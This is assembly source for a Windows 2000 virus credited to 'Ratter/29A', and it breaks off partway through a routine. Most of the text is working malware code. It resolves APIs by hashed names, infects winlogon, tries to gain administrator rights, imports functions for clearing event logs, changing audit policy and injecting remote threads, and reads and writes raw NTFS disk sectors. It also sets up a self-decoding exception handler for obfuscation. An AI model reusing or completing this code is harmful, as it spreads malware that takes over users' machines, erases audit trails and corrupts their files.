; Win2k.TaiChi by Ratter/29A ; All your trade center are belong to us ; T2k suicide :((( ; todo: ; - udelat emulaci procesoru a pomoci toho encrypted vrstvu na zacatqu ... ; menit i hodnoty instrukci ... kazdou generaci jiny opcody ... ; udelat to jako int 3 obsluhu ... tj bude pushad; @SEH_SetupFrame; int 3h ; a paq uz jenom opcody ktery se budou emulovat :)) .586p .model flat, stdcall locals include useful.inc include win32api.inc include my_macroz.inc include my_include.inc include mz.inc include pe.inc virus_size equ host_start - taichi_start SECURITY_BUILTIN_DOMAIN_RID equ 20h DOMAIN_ALIAS_RID_ADMINS equ 220h SECURITY_NT_AUTHORITY equ 5 POLICY_VIEW_AUDIT_INFORMATION equ 2 POLICY_SET_AUDIT_REQUIREMENTS equ 100h POLICY_CREATE_ACCOUNT equ 10h POLICY_LOOKUP_NAMES equ 800h TOKEN_ADJUST_PRIVILEGES equ 20h SE_PRIVILEGE_ENABLED equ 02h USER_PRIV_ADMIN equ 2 LOGON32_LOGON_INTERACTIVE equ 2 SHREGSET_FORCE_HKLM equ 8 MOVEFILE_REPLACE_EXISTING equ 1 OF_READ equ 0000h OF_WRITE equ 0001h OF_CREATE equ 1000h PROCESS_CREATE_THREAD equ 0002h PROCESS_VM_OPERATION equ 0008h PROCESS_VM_READ equ 0010h PROCESS_VM_WRITE equ 0020h PROCESS_QUERY_INFORMATION equ 0400h PROCESS_DESIRED_ACCESS equ PROCESS_QUERY_INFORMATION or PROCESS_VM_WRITE or \ PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or \ PROCESS_VM_READ data_section struc harddisk_handle dd ? delta_offset dd ? file_list dd ? fl_mutex dd ? revert_to_self dd ? tVirtualAlloc dd ? ; api addresses tVirtualFree dd ? tVirtualQuery dd ? tCreateFileW dd ? tCloseHandle dd ? tSetFilePointer dd ? tReadFile dd ? tWriteFile dd ? tSleep dd ? tGlobalAlloc dd ? tGlobalFree dd ? tLoadLibraryA dd ? tFreeLibrary dd ? tGetCurrentProcess dd ? tOpenProcess dd ? tReadProcessMemory dd ? tWriteProcessMemory dd ? tVirtualProtect dd ? tCreateMutexA dd ? tReleaseMutex dd ? tWaitForSingleObject dd ? tFindFirstFileW dd ? tFindNextFileW dd ? tFindClose dd ? tGetFullPathNameW dd ? tGetModuleHandleA dd ? tExitThread dd ? tGetLocalTime dd ? tCopyFileA dd ? tMoveFileExA dd ? tCreateFileA dd ? tDeleteFileA dd ? tGetCurrentDirectoryA dd ? tSetCurrentDirectoryA dd ? tExpandEnvironmentStringsA dd ? tCreateRemoteThread dd ? tVirtualAllocEx dd ? tVirtualFreeEx dd ? tCheckTokenMembership dd ? tOpenEventLogA dd ? tCloseEventLog dd ? tClearEventLogA dd ? tLsaOpenPolicy dd ? tLsaQueryInformationPolicy dd ? tLsaSetInformationPolicy dd ? tLsaClose dd ? tLsaFreeMemory dd ? tLookupAccountNameW dd ? tLsaAddAccountRights dd ? tOpenProcessToken dd ? tLookupPrivilegeValueA dd ? tAdjustTokenPrivileges dd ? tRegCreateKeyA dd ? tRegSetValueExA dd ? tRegCloseKey dd ? tRegEnumValueA dd ? tLogonUserA dd ? tImpersonateLoggedOnUser dd ? tRevertToSelf dd ? tEnumProcesses dd ? tEnumProcessModules dd ? tGetModuleBaseNameA dd ? tNetUserGetInfo dd ? tNetApiBufferFree dd ? tSHRegGetUSValueA dd ? tSHRegSetUSValueA dd ? tLZOpenFileA dd ? tLZCopy dd ? tLZClose dd ? tRtlRunDecodeUnicodeString dd ? tLsaLogonUser dd ? apiz_size equ $-harddisk_handle boot_sector equ $ db 3 dup(?) filesystem db 8 dup(?) bytez_per_sec dw ? sec_per_cluster db ? hsize dd ? db 6 dup(?) secz_per_cyl dw ? db 22 dup(?) mft_lcn dd ? mft_file_recordz_count dd ? db 8 dup(?) file_record_size_ dd ? bytez_per_cluster dd ? file_record_size dd ? file_record_size_in_secz dd ? buffer_count db ? mft_file_recordz dd ? rootdir_file_record dd ? index_buffer_size dd ? ; todle uz je [ebp+75h] takze strkat do tex ; der f boot_sectoru boot_data_size equ (512-($-boot_sector)) db boot_data_size dup(?) data_section ends LSA_OBJECT_ATTRIBUTES struc LOA_length dd ? LOA_rootdir dd ? LOA_objectname dd ? LOA_attribz dd ? LOA_sd dd ? LOA_sqos dd ? LSA_OBJECT_ATTRIBUTES ends TOKEN_PRIVILEGES struc TP_count dd ? TP_luid dq ? TP_attribz dd ? TOKEN_PRIVILEGES ends FILE struc F_next_file dd ? F_handle dd ? F_size dd ? F_prunlist dd ? F_vmem_start dd ? F_vmem_end dd ? F_dirty_bmask dd ? F_dirty_size dd ? FILE ends OFSTRUCT struc OF_cBytes db ? OF_fFixedDisk db ? OF_nErrCode dw ? OF_Reserved dd ? OF_szPathName db 128 dup(?) OFSTRUCT ends ; A lil modification of Jacky Qwertys @SEH_SetupFrame @SEH_SetupFrame_ macro p1, p2, p3, p4, p5, p6, p7, p8, p9 local set_new_eh call set_new_eh irp param, <<&p1>, <&p2>, <&p3>, <&p4>, <&p5>, <&p6>, <&p7>, <&p8>, <&p9>> ifb exitm endif param endm set_new_eh: xor edx, edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp endm @unicode_to_asciiz macro lodsw stosb test eax, eax jnz $-5 endm .data db ? .code start_: ;*** call debug_init ;*** COMMENT~ call taichi_start jmp host_start ~ taichi_start proc near pushad @SEH_SetupFrame_ , , mov eax, dword ptr fs:[30h] ; we run on WinNT/2k only boxez test eax, eax js jmp_to_host mov eax, dword ptr [eax+0ch] ; get kernel32 base mov esi, dword ptr [eax+1ch] lodsd mov ebx, dword ptr [eax+08h] @gimme_delta ; get delta offset push 0d57d7a0ah ; get GlobalAlloc api call gimme_api test eax, eax jz jmp_to_host mov dword ptr [ebp+allocate_mem_fc], eax mov eax, type data_section ; allocate needed memory for call alloc_mem ; data section xchg eax, edx call $+5+(api_count*4) api_crcz equ $ dd 0de1a4c5fh ; VirtualAlloc dd 00f3c7b46h ; VirtualFree dd 001ea615bh ; VirtualQuery dd 0ca098632h ; CreateFileW dd 025a15565h ; CloseHandle dd 0584e561ch ; SetFilePointer dd 04af4dcefh ; ReadFile dd 05d2a6f0fh ; WriteFile dd 073080607h ; Sleep dd 0d57d7a0ah ; GlobalAlloc dd 0440f3660h ; GlobalFree dd 055cf7e74h ; LoadLibraryA dd 0de584a52h ; FreeLibrary dd 0f01817e7h ; GetCurrentProcess dd 07b47e55dh ; OpenProcess dd 094fb613ah ; ReadProcessMemory dd 065b96163h ; WriteProcessMemory dd 05a040aeah ; VirtualProtect dd 0f6e4defeh ; CreateMutexA dd 047d713f8h ; ReleaseMutex dd 0de578686h ; WaitForSingleObject dd 0e2a13a73h ; FindFirstFileW dd 098273d7dh ; FindNextFileW dd 04c2ea380h ; FindClose dd 0691f05ffh ; GetFullPathNameW dd 0e21b5ac4h ; GetModuleHandleA dd 003e3b53ch ; ExitThread dd 0cb735dd6h ; GetLocalTime dd 0c16f9286h ; CopyFileA dd 0342735e9h ; MoveFileExA dd 0bb33a42dh ; CreateFileA dd 01cbc6289h ; DeleteFileA dd 014cf368dh ; GetCurrentDirectoryA dd 0b034481ah ; SetCurrentDirectoryA dd 02a21372fh ; ExpandEnvironmentStringsA dd 036411aaah ; CreateRemoteThread dd 04434b88fh ; VirtualAllocEx dd 0dc421185h ; VirtualFreeEx api_count equ ($-api_crcz)/4 pop esi push api_count lea edi, [edx+tVirtualAlloc] ; and get needed apiz addresses pop ecx call gimme_apiz test eax, eax jz jmp_to_host push dword ptr [edx+tGlobalFree] pop dword ptr [ebp+free_mem_fc] call extended_import_end extended_import equ $ db "advapi32.dll", 0 dd ? db advapi_api_count advapi_import_start equ $ dd 0b63cdc69h ; CheckTokenMembership dd 02a245267h ; OpenEventLogA dd 017bfd125h ; CloseEventLog dd 0b85bde9ah ; ClearEventLogA dd 00a29176bh ; LsaOpenPolicy dd 0ba0d41e2h ; LsaQueryInformationPolicy dd 0052d2c17h ; LsaSetInformationPolicy dd 03a7a8abbh ; LsaClose dd 066ef11cdh ; LsaFreeMemory dd 0eb858298h ; LookupAccountNameW dd 0779ecc40h ; LsaAddAccountRights dd 002293b95h ; OpenProcessToken dd 0c73295b1h ; LookupPrivilegeValueA dd 031879e8ch ; AdjustTokenPrivileges dd 06dce4759h ; RegCreateKeyA dd 0437e36a1h ; RegSetValueExA dd 0d0ac931eh ; RegCloseKey dd 0c7cca16ah ; RegEnumValueA dd 04512115ah ; LogonUserA dd 0983f59dbh ; ImpersonateLoggedOnUser dd 0205b6ed3h ; RevertToSelf advapi_api_count equ ($-advapi_import_start)/4 db "psapi.dll", 0 dd ? db psapi_api_count psapi_import_start equ $ dd 06bc1778ah ; EnumProcesses dd 0c7eb0daah ; EnumProcessModules dd 0f5b152e4h ; GetModuleBaseNameA psapi_api_count equ ($-psapi_import_start)/4 db "netapi32.dll", 0 dd ? db netapi32_api_count netapi32_import_start equ $ dd 0b5c24d82h ; NetUserGetInfo dd 0cc33532bh ; NetApiBufferFree netapi32_api_count equ ($-netapi32_import_start)/4 db "shlwapi.dll", 0 dd ? db shlwapi_api_count shlwapi_import_start equ $ dd 07a9ee238h ; SHRegGetUSValueA dd 094b2dea3h ; SHRegSetUSValueA shlwapi_api_count equ ($-shlwapi_import_start)/4 db "lz32.dll", 0 dd ? db lz32_api_count lz32_import_start equ $ dd 0d0a03733h ; LZOpenFileA dd 05064897fh ; LZCopy dd 0605319d6h ; LZClose lz32_api_count equ ($-lz32_import_start)/4 db "ntdll.dll", 0 dd ? db 1 dd 0cb34bfcdh ; RtlRunDecodeUnicodeString db "secur32.dll", 0 dd ? db 1 dd 04751e365h ; LsaLogonUser db -1 db 0, "[Win2k.TaiChi] by Ratter/29A", 0 db "Dedicated to Bara&Misza. Live your fuckin lifes; listen to fuckin liez. " db "I'll be slowly dieing ...", 0 extended_import_end: pop esi lea edi, [edx+tCheckTokenMembership] mov dword ptr [ebp+data_section_mem], edx mov dword ptr [edx+delta_offset], ebp mov ebp, edx call gimme_apiz_extended xchg eax, ecx jecxz release_resourcez ;*** ;int 3 call infect_winlogon call gain_admin ;*** int 3 jmp jmp_to_host xor eax, eax push eax push eax push eax call dword ptr [ebp+tCreateMutexA] xchg eax, ecx jecxz release_resourcez mov dword ptr [ebp+fl_mutex], ecx int 3 call ntfs_init jc release_resourcez call main_infection_routine call ntfs_deinit call deallocate_bufferz_mem release_resourcez: mov ecx, dword ptr [ebp+revert_to_self] jecxz free_mutex call dword ptr [ebp+tRevertToSelf] free_mutex: mov ecx, dword ptr [ebp+fl_mutex] jecxz free_librariez_mem push ecx call dword ptr [ebp+tCloseHandle] free_librariez_mem: mov eax, dword ptr [ebp+delta_offset] lea esi, [eax+extended_import] call free_librariez push ebp call free_mem jmp_to_host: COMMENT~ ;*** call encryption_try ;*** call enter_single_stepping ; from now all will be encoded and then decoded by the SEH handler ; before the instruction will be one byte - length of the instruction and possibly ; and the second byte with xor value ; the handler will look to [exception_address-1[2]] on the instruction length ; and will decode it. then it will change the context[eip] - it must add ; two bytes (the instruction length and xor_value) and goez on ... dw 05h sub dword ptr [esp+12+cPushad], 5 dw 04h mov eax, dword ptr [esp+12+cPushad] dw 06h mov dword ptr [eax], 90909090h restore_bytez equ $-4 dw 04h mov byte ptr [eax+4], 90h restore_bytez_ equ $-1 ;dw 01h ; leave the trace mode ;popfd dw 0ff01h db 62h @SEH_RemoveFrame popad retn ~ ;int 3 @SEH_RemoveFrame popad mov eax, offset host_start victim_entrypoint equ $-4 jmp eax taichi_start endp gimme_apiz proc near push dword ptr [esi] call gimme_api test eax, eax jz gimme_apiz_end stosd add esi, 4 loop gimme_apiz gimme_apiz_end: retn gimme_apiz endp ; in: [esp+4] - api CRC32 ; ebx - dll base ; out: eax - api address or null if error gimme_api proc near xor eax, eax pushad @SEH_SetupFrame mov eax, dword ptr [ebx.MZ_lfanew] add eax, ebx mov ecx, dword ptr [eax.NT_OptionalHeader.OH_DirectoryEntries.\ DE_Export.DD_VirtualAddress] jecxz gimme_api_end+3 xchg ecx, edx add edx, ebx push edx push dword ptr [edx.ED_NumberOfNames] mov edi, dword ptr [edx.ED_AddressOfNames] add edi, ebx xor ecx, ecx gimme_api_next_api: mov esi, dword ptr [edi+ecx*4] add esi, ebx push 0 call gimme_CRC32 cmp eax, dword ptr [esp+cPushad+12+8] jnz gimme_api_go_on mov edx, dword ptr [esp+4] mov eax, dword ptr [edx.ED_AddressOfOrdinals] add eax, ebx push ecx movzx ecx, word ptr [eax+ecx*2] mov eax, dword ptr [edx.ED_AddressOfFunctions] add eax, ebx mov eax, dword ptr [eax+ecx*4] pop ecx add eax, ebx mov dword ptr [esp+8+8+Pushad_eax], eax jmp gimme_api_end gimme_api_go_on: inc ecx cmp ecx, dword ptr [esp] jc gimme_api_next_api gimme_api_end: add esp, 8 @SEH_RemoveFrame popad retn 4 gimme_api endp ; in: esi - string to make CRC32 ; [esp+4] - length of string or null if ASCIIZ_string ; out: eax - CRC32 gimme_CRC32 proc near pushad xor edx, edx mov eax, edx gimme_CRC32_all_iz_ok: mov ecx, dword ptr [esp.cPushad+4] jecxz gimme_CRC32_asciiz_string gimme_CRC32_main_loop: lodsb cmp al, 'a' jc gimme_CRC32_big cmp al, 'z' ja gimme_CRC32_big add al, 'A'-'a' gimme_CRC32_big: xor ah, al rol eax, 8 xor eax, edx not edx mov bl, 32 gimme_CRC32_next: rol eax, 1 xor edx, 05f6abcd8h xor eax, 0a6dfe9ffh ror edx, 1 add eax, edx xor edx, 08ad6fe7h dec bl jnz gimme_CRC32_next xor eax, edx dec ecx jnz gimme_CRC32_main_loop mov dword ptr [esp.Pushad_eax], eax popad retn 4 gimme_CRC32_asciiz_string: mov edi, esi push esi inc edi @endsz sub esi, edi mov dword ptr [esp.cPushad+8], esi pop esi jmp gimme_CRC32_all_iz_ok gimme_CRC32 endp alloc_mem proc near pushad push eax push GMEM_ZEROINIT call $+9 allocate_mem_fc dd ? pop eax call dword ptr [eax] mov dword ptr [esp.Pushad_eax], eax popad retn alloc_mem endp ; in: [esp+4] - ptr to mem to free free_mem proc near pushad push dword ptr [esp+cPushad+4] call $+9 free_mem_fc dd ? pop eax call dword ptr [eax] popad retn 4 free_mem endp gimme_data_section_ptr proc near call $+9 data_section_mem dd ? pop eax mov eax, dword ptr [eax] retn gimme_data_section_ptr endp ; in: esi - extended_import_struc ; edi - where to store api addressez ; out: eax - null if error gimme_apiz_extended proc near pushad @SEH_SetupFrame gimme_apiz_extended_loop: cmp byte ptr [esi], -1 jz gimme_apiz_extended_end push esi call dword ptr [ebp+tLoadLibraryA] test eax, eax jz gimme_apiz_extended_end mov ebx, eax push eax @endsz pop dword ptr [esi] add esi, 4 xor eax, eax lodsb xchg eax, ecx gimme_apiz_extended_sub_loop: lodsd push eax call gimme_api test eax, eax jz gimme_apiz_extended_end stosd loop gimme_apiz_extended_sub_loop jmp gimme_apiz_extended_loop gimme_apiz_extended_end: @SEH_RemoveFrame mov dword ptr [esp.Pushad_eax], eax popad retn gimme_apiz_extended endp ; in: esi - extended librariez_struc free_librariez proc near pushad @SEH_SetupFrame free_librariez_loop: cmp byte ptr [esi], -1 jz free_librariez_end @endsz lodsd push eax call dword ptr [ebp+tFreeLibrary] lodsb lea esi, [esi+eax*4] jmp free_librariez_loop free_librariez_end: @SEH_RemoveFrame popad retn free_librariez endp ntfs_init proc near pushad @SEH_SetupFrame xor eax, eax push eax push eax push OPEN_EXISTING ; open the current volume push eax ; for read/write push FILE_SHARE_READ or FILE_SHARE_WRITE push GENERIC_READ or GENERIC_WRITE call $+19 dw "\", "\", ".", "\", "x", ":", 0 pop edx call get_current_drive mov word ptr [edx+8], ax push edx call dword ptr [ebp+tCreateFileW] test eax, eax jz ntfs_init_end_error mov dword ptr [ebp+harddisk_handle], eax lea ebx, [ebp+boot_sector] xor edx, edx xor esi, esi mov word ptr [ebp+bytez_per_sec], 512 ; read the boot sector inc esi xor ecx, ecx call readwrite_sectorz push 8 @pushsz "NTFS " pop esi lea edi, [ebp+filesystem] ; check whether it is NTFS pop ecx rep cmpsb jnz ntfs_init_end_error_close movzx eax, word ptr [ebp+bytez_per_sec] movzx ebx, byte ptr [ebp+sec_per_cluster] mul ebx mov [ebp+bytez_per_cluster], eax cmp eax, 4096 ; check cluster_size==iapx86_page_size jnz ntfs_init_end_error_close ; ntfs_volumez>2048 megz have cluster_size==iapx86_page_size==4096 mov ecx, [ebp+file_record_size_] test cl, cl jns $+11 neg cl push 1 pop eax shl eax, cl ; setup some needed jmp ntfs_init_next ; variables mov eax, [ebp+bytez_per_cluster] mul ecx ntfs_init_next: mov [ebp+file_record_size], eax movzx ebx, word ptr [ebp+bytez_per_sec] xor edx, edx div ebx mov [ebp+file_record_size_in_secz], eax ; now read the $MFT file record mov eax, dword ptr [ebp+file_record_size] imul eax, eax, 100 call alloc_mem ; alloc mem for $MFT file recordz mov dword ptr [ebp+mft_file_recordz], eax inc dword ptr [ebp+mft_file_recordz_count] xchg eax, ebx mov byte ptr [ebp+buffer_count], 1 mov eax, dword ptr [ebp+mft_lcn] movzx ecx, byte ptr [ebp+sec_per_cluster] mul ecx xchg eax, edx mov esi, dword ptr [ebp+file_record_size_in_secz] xor ecx, ecx call readwrite_sectorz ; read the $MFT file record xchg eax, ebx push 20h pop ebx ; is $ATTRIB list present? cdq call find_attrib xchg eax, ecx jecxz mft_without_attrib_list pushad mov edi, dword ptr [ebp+mft_file_recordz] add edi, dword ptr [ebp+file_record_size] mov ebx, ecx call read_specific_value_part xchg eax, ebx push ebx mft_data_attribz_loop: cmp dword ptr [ebx], 80h jz mft_got_data_attrib movzx eax, word ptr [ebx+4] add ebx, eax jmp mft_data_attribz_loop mft_we_have_more_data_attribz: mov eax, dword ptr [ebx+10h] call read_file_record mov esi, eax mov ecx, dword ptr [ebp+file_record_size] shr ecx, 2 rep movsd inc dword ptr [ebp+mft_file_recordz_count] push eax call free_mem mft_got_data_attrib: movzx eax, word ptr [ebx+4] add ebx, eax cmp dword ptr [ebx], 80h jz mft_we_have_more_data_attribz call free_mem popad mft_without_attrib_list: push 5 pop eax ; read the root directory file record call read_file_record jc ntfs_free_mft_mem mov dword ptr [ebp+rootdir_file_record], eax inc byte ptr [ebp+buffer_count] mov ebx, 90h call find_attrib_directory lea edx, [eax+14h] movzx ecx, word ptr [edx] add eax, ecx mov eax, dword ptr [eax+0ch] movzx ecx, word ptr [ebp+bytez_per_cluster] mul ecx mov dword ptr [ebp+index_buffer_size], eax clc jmp ntfs_init_end_error+1 ntfs_free_mft_mem: call deallocate_bufferz_mem ntfs_init_end_error_close: call ntfs_deinit ntfs_init_end_error: stc lahf @SEH_RemoveFrame sahf popad retn ntfs_init endp get_current_drive proc near mov eax, dword ptr fs:[30h] ; goto PEB mov eax, dword ptr [eax+10h] ; goto user_process_paramz add eax, 24h ; goto curdir_unicode_string mov eax, dword ptr [eax+4] ; gimme unicode_buffer movzx eax, byte ptr [eax] retn get_current_drive endp ntfs_deinit proc near push dword ptr [ebp+harddisk_handle] call dword ptr [ebp+tCloseHandle] retn ntfs_deinit endp ; in: ebx - buffer ; ecx - 0 if read ; 1 if write ; edx - starting sector ; esi - sectorz 2 read readwrite_sectorz proc near pushad call $+7 dw 0 pop edi bt word ptr [edi], 0 jnc $+11 pushad push 1 call dword ptr [ebp+tSleep] popad jmp $-14 bts word ptr [edi], 0 jc $-20 push edi mov edi, dword ptr [ebp+harddisk_handle] push ecx xchg eax, edx movzx ecx, word ptr [ebp+bytez_per_sec] push ecx mul ecx mov dword ptr [ebp+hsize], edx lea edx, [ebp+hsize] push 0 push edx push eax push edi call dword ptr [ebp+tSetFilePointer] xchg eax, esi pop ecx mul ecx pop ecx xor edx, edx push edx @pushvar
push eax push ebx push edi jecxz $+7 call dword ptr [ebp+tWriteFile] jmp $+5 call dword ptr [ebp+tReadFile] pop edi dec word ptr [edi] popad retn readwrite_sectorz endp ; in: eax - *FILE record ; ebx - attribute type ; ecx - size of the name (if null no checking done) ; edx - name ; out: ecx - size of the name ; eax - *attrib header find_attrib proc near pushad push ecx movzx ecx, word ptr [eax+14h] add eax, ecx pop ecx find_attrib_loop: cmp dword ptr [eax], 0FFFFFFFFh jz find_attrib_end cmp dword ptr [eax], ebx jnz find_attrib_next_attrib test ecx, ecx jnz find_attrib_name_check cmp byte ptr [eax+9], 0 jnz find_attrib_next_attrib jmp find_attrib_end+2 find_attrib_name_check: cmp cl, byte ptr [eax+9] jnz find_attrib_next_attrib mov esi, eax push ecx movzx ecx, word ptr [eax+0ah] add esi, ecx pop ecx call uppercase_unicode push ecx mov edi, edx repz cmpsw pop ecx jz find_attrib_end+2 find_attrib_next_attrib: cmp dword ptr [eax+4], 0 jz find_attrib_end add eax, dword ptr [eax+4] jmp find_attrib_loop find_attrib_end: xor eax, eax mov dword ptr [esp.Pushad_eax], eax popad retn find_attrib endp ; in: ecx - attribute ; eax - file record ; out: eax - file record that contains the attribute find_attrib_in_attrib_list proc near pushad xor edi, edi push ecx mov ebx, 20h xor ecx, ecx xor edx, edx call find_attrib xchg eax, ecx jecxz find_attrib_in_attrib_list_end_error mov ebx, ecx call read_specific_value_part mov edi, eax mov ebx, eax pop ecx find_attrib_in_attrib_list_loop: cmp [ebx], ecx je find_attrib_in_attrib_list_ok_found cmp dword ptr [ebx], 0FFFFFFFFh je find_attrib_in_attrib_list_end_error+1 cmp word ptr [ebx+4], 0 je find_attrib_in_attrib_list_end_error+1 movzx eax, word ptr [ebx+4] add ebx, eax jmp find_attrib_in_attrib_list_loop find_attrib_in_attrib_list_ok_found: mov eax, [ebx+10h] jmp $+5 find_attrib_in_attrib_list_end_error: pop ecx xor eax, eax test edi, edi jz $+8 push edi call free_mem mov dword ptr [esp.Pushad_eax], eax popad retn find_attrib_in_attrib_list endp ; This uppercases an UNICODE string ; in: esi - string ; ecx - size uppercase_unicode proc near or ecx, ecx jnz uppercase_unicode_go_on retn uppercase_unicode_go_on: push ecx push esi uppercase_unicode_loop: cmp word ptr [esi], 61h jc uppercase_unicode_next cmp word ptr [esi], 7Ah ja uppercase_unicode_next sub word ptr [esi], 20h uppercase_unicode_next: add esi, 2 loop uppercase_unicode_loop pop esi pop ecx retn uppercase_unicode endp deallocate_bufferz_mem proc near lea esi, [ebp+mft_file_recordz] movzx ecx, byte ptr [ebp+buffer_count] deallocate_bufferz_mem_loop: push dword ptr [esi] call free_mem add esi, 4 loop deallocate_bufferz_mem_loop retn deallocate_bufferz_mem endp ; in: eax - file record number ; out: eax - buffer where is the File record ; CFlag - indicates an error read_file_record proc near pushad push eax mov eax, dword ptr [ebp+file_record_size] call alloc_mem xchg eax, edi pop eax mov dword ptr [esp.Pushad_eax], edi mul [ebp+file_record_size_in_secz] mov ecx, [ebp+file_record_size_in_secz] read_file_record_loop: push eax push ecx xor edx, edx movzx ebx, byte ptr [ebp+sec_per_cluster] div ebx push edx push edi call mft_vcn_to_lcn pop edi test eax, eax jz read_file_record_error_pop movzx ebx, byte ptr [ebp+sec_per_cluster] mul ebx pop edx add edx, eax pop ecx movzx ebx, byte ptr [ebp+sec_per_cluster] cmp ecx, ebx jbe read_file_record_next mov esi, ebx sub ecx, ebx pop eax add eax, ebx push eax push ecx jmp short read_file_record_read read_file_record_next: pop eax add eax, ecx push eax mov esi, ecx xor ecx, ecx push ecx read_file_record_read: push edi mov ebx, edi xor ecx, ecx call readwrite_sectorz pop edi add edi, [ebp+bytez_per_cluster] pop ecx pop eax jecxz $+4 jmp read_file_record_loop clc jmp read_file_record_end+1 read_file_record_error_pop: add esp, 12 read_file_record_error: push edi call free_mem read_file_record_end: stc popad retn read_file_record endp ; in: eax - VCN ; out: eax - LCN mft_vcn_to_lcn proc near pushad mov edi, dword ptr [ebp+mft_file_recordz] mov ecx, dword ptr [ebp+mft_file_recordz_count] mft_vcn_to_lcn_loop: push ecx mov eax, edi push 80h pop ebx xor ecx, ecx cdq call find_attrib mov ebx, eax mov eax, dword ptr [esp+4+Pushad_eax] call process_runlist pop ecx test eax, eax jnz mft_vcn_to_lcn_end add edi, dword ptr [ebp+file_record_size] loop mft_vcn_to_lcn_loop mft_vcn_to_lcn_end: mov dword ptr [esp.Pushad_eax], eax popad retn mft_vcn_to_lcn endp ; in: eax - VCN ; ebx - *attribute header ; out: ecx - how much clusters to the end of run ; eax - LCN associated to the VCN process_runlist proc near cmp byte ptr [ebx+8], 1 jnz process_runlist_end_error lea esi, dword ptr [ebx+10h] mov edx, dword ptr [esi+8] cmp eax, edx ja process_runlist_end_error mov edx, [esi] cmp eax, edx jc process_runlist_end_error push eax movzx eax, word ptr [esi+10h] add ebx, eax xor esi, esi pop eax process_runlist_loop: cmp byte ptr [ebx], 0 jz process_runlist_end_error call get_run_lcn add esi, ecx call get_run_length add ecx, edx cmp eax, ecx jc process_runlist_end mov edx, ecx push eax movzx ecx, byte ptr [ebx] mov eax, ecx and eax, 0Fh shr ecx, 4 add ebx, ecx add ebx, eax inc ebx pop eax jmp process_runlist_loop process_runlist_end: sub ecx, eax sub eax, edx add eax, esi retn process_runlist_end_error: xor eax, eax retn process_runlist endp ; in: ebx - *run ; out: ecx - size in clusterz get_run_length proc near mov cl, [ebx] and ecx, 0Fh jecxz get_run_length_error push ebx push edx add ebx, ecx movsx edx, byte ptr [ebx] dec ecx dec ebx get_run_length_loop: jecxz get_run_length_end shl edx, 8 mov dl, [ebx] dec ebx dec ecx jmp get_run_length_loop get_run_length_end: mov ecx, edx pop edx pop ebx get_run_length_error: retn get_run_length endp ; in: ebx - *run ; out: ecx - LCN get_run_lcn proc near push ebx push edx mov dl, byte ptr [ebx] and edx, 0Fh xor ecx, ecx mov cl, [ebx] shr cl, 4 jecxz get_run_lcn_error add ebx, edx add ebx, ecx movsx edx, byte ptr [ebx] dec ecx dec ebx get_run_lcn_loop: jecxz get_run_lcn_end shl edx, 8 mov dl, [ebx] dec ebx dec ecx jmp get_run_lcn_loop get_run_lcn_end: mov ecx, edx get_run_lcn_error: pop edx pop ebx retn get_run_lcn endp ; in: eax - directory file record ; ebx - attribute to look for ; out: same as find_attrib find_attrib_directory proc near pushad push 4 pop ecx call $+13 dw "$", "I", "3", "0" pop edx call find_attrib mov dword ptr [esp.Pushad_eax], eax popad retn find_attrib_directory endp ; in: ebx - the attribute header ; out: eax - buffer where is the attribute's specific value part stored ; ecx - length of the attribute's specific value part read_specific_value_part proc near pushad lea edx, [ebx+10h] cmp byte ptr [ebx+8], 0 jz $+5 add edx, 20h mov ecx, [edx] mov dword ptr [esp.Pushad_ecx], ecx mov eax, ecx call alloc_mem xchg eax, edi cmp byte ptr [ebx+8], 0 jnz read_specific_value_part_nonresident push edi mov esi, ebx movzx eax, word ptr [edx+4] add esi, eax rep movsb pop edi jmp read_specific_value_part_end read_specific_value_part_nonresident: lea edx, dword ptr [ebx+10h] mov ecx, dword ptr [edx+8] inc ecx xor eax, eax call read_nonresident_value read_specific_value_part_end: mov dword ptr [esp.Pushad_eax], edi popad retn read_specific_value_part endp ; in: ecx - VCNz+1 ; ebx - attribute header read_nonresident_value proc near pushad read_nonresident_value_loop: jecxz read_nonresident_value_end push ebx push eax push ecx push edi call process_runlist mov edx, ecx pop edi pop ecx cmp ecx, edx jae $+4 mov edx, ecx call read_clusterz sub ecx, edx mov ebx, edx mov eax, edx movzx edx, byte ptr [ebp+sec_per_cluster] mul edx movzx edx, word ptr [ebp+bytez_per_sec] mul edx add edi, eax pop eax add eax, ebx pop ebx jmp read_nonresident_value_loop read_nonresident_value_end: popad retn read_nonresident_value endp ; in: eax - cluster to start writing ; edx - how much clusterz to write ; edi - buffer write_clusterz proc near pushad mov ebx, edx movzx ecx, byte ptr [ebp+sec_per_cluster] mul ecx xchg eax, edx push edx mov eax, ebx mul ecx mov esi, eax pop edx mov ebx, edi push 1 pop ecx call readwrite_sectorz popad retn write_clusterz endp ; in: eax - cluster to start reading ; edx - how much clusterz to read ; edi - buffer read_clusterz proc near pushad mov ebx, edx movzx ecx, byte ptr [ebp+sec_per_cluster] mul ecx xchg eax, edx push edx mov eax, ebx mul ecx mov esi, eax pop edx mov ebx, edi xor ecx, ecx call readwrite_sectorz popad retn read_clusterz endp ; in: ebx - filename ; ecx - sizeof filename ; eax - 1) index root attrib+10h ; 2) index allocation attrib+18h ; out: eax - *index entry find_index_entry proc near pushad mov esi, ebx call uppercase_unicode add eax, [eax] find_index_entry_loop: test word ptr [eax+0Ch], 2 jnz find_index_entry_end_error lea edx, dword ptr [eax+10h] cmp cl, byte ptr [edx+40h] jnz find_index_entry_try_next_one lea esi, dword ptr [edx+42h] call uppercase_unicode push ecx mov edi, ebx repe cmpsw pop ecx jnz find_index_entry_try_next_one jmp find_index_entry_end find_index_entry_try_next_one: cmp word ptr [eax+8], 0 jz find_index_entry_end_error movzx edx, word ptr [eax+8] add eax, edx jmp find_index_entry_loop find_index_entry_end_error: xor eax, eax find_index_entry_end: mov dword ptr [esp.Pushad_eax], eax popad retn find_index_entry endp seh_decode proc mov eax, dword ptr [esp+4+EH_ExceptionRecord] cmp dword ptr [eax], EXCEPTION_BREAKPOINT jz $+11 cmp dword ptr [eax], EXCEPTION_SINGLE_STEP jz seh_running_line retn pop eax pushad mov edx, dword ptr [esp.cPushad+EH_ContextRecord] mov ebx, dword ptr [edx.CONTEXT_Eip] add dword ptr [edx.CONTEXT_Eip], 8 movzx eax, word ptr [ebx+1] sub ebx, eax add ebx, 3 bt word ptr [ebx], 15 jc $-5 bts word ptr [ebx], 15 jc $-12 bt word ptr [ebx], 14 jnc seh_decode_code dec word ptr [ebx] test word ptr [ebx], 00111111b jnz $+7 dec word ptr [ebx] jmp $+7 inc word ptr [ebx] jmp seh_decode_end 